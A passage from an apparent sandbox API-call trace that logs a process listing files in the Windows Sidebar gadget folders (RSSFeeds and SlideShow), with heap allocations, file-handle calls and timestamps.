ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssLogo.gif", cAlternateFileName="")) returned 1 [0080.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff298 [0080.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e8a0 [0080.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.868] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ec48fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ec48fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cee7201, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_docked.png", cAlternateFileName="")) returned 1 [0080.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff2b8 [0080.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e9a8 [0080.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.870] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_floating.png", cAlternateFileName="")) returned 1 [0080.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff2d8 [0080.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122eab0 [0080.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.871] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 1 [0080.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff2f8 [0080.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122ebb8 [0080.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.872] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 0 [0080.872] GetLastError () returned 0x12 [0080.872] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.872] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.872] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.872] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0080.872] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f36d12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f36d12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce28b2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_Off.png", cAlternateFileName="")) returned 1 [0080.872] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f36d12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f36d12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce28b2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_On.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce4ec89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_Off.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce4ec89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_On.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f5ce6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f5ce6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce74de7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x112b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyoutBack.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e78641, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e78641, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce74de7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_docked.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e9e79e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e9e79e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce9af45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_floating.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e9e79e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e9e79e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce9af45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_flyout.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ec48fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ec48fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cee7201, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="navBack.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f5ce6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f5ce6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_docked.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f82fcc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f82fcc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_Undocked.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssLogo.gif", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ec48fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ec48fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cee7201, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_docked.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_floating.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 1 [0080.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 0 [0080.873] GetLastError () returned 0x12 [0080.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d1f0) returned 1 [0080.873] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d0e8) returned 1 [0080.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122cfe0) returned 1 [0080.874] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.874] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.874] GetLastError () returned 0x12 [0080.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.874] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.875] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="")) returned 1 [0080.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.876] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.876] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.876] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.877] NtClose (Handle=0x124) returned 0x0 [0080.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.877] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.877] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.877] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff318 [0080.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122cfe0 [0080.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.879] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.879] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d442339, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d442339, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d442339, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff338 [0080.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d0e8 [0080.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.880] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.880] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.881] RtlFreeHeap (HeapHandle=0x940000, 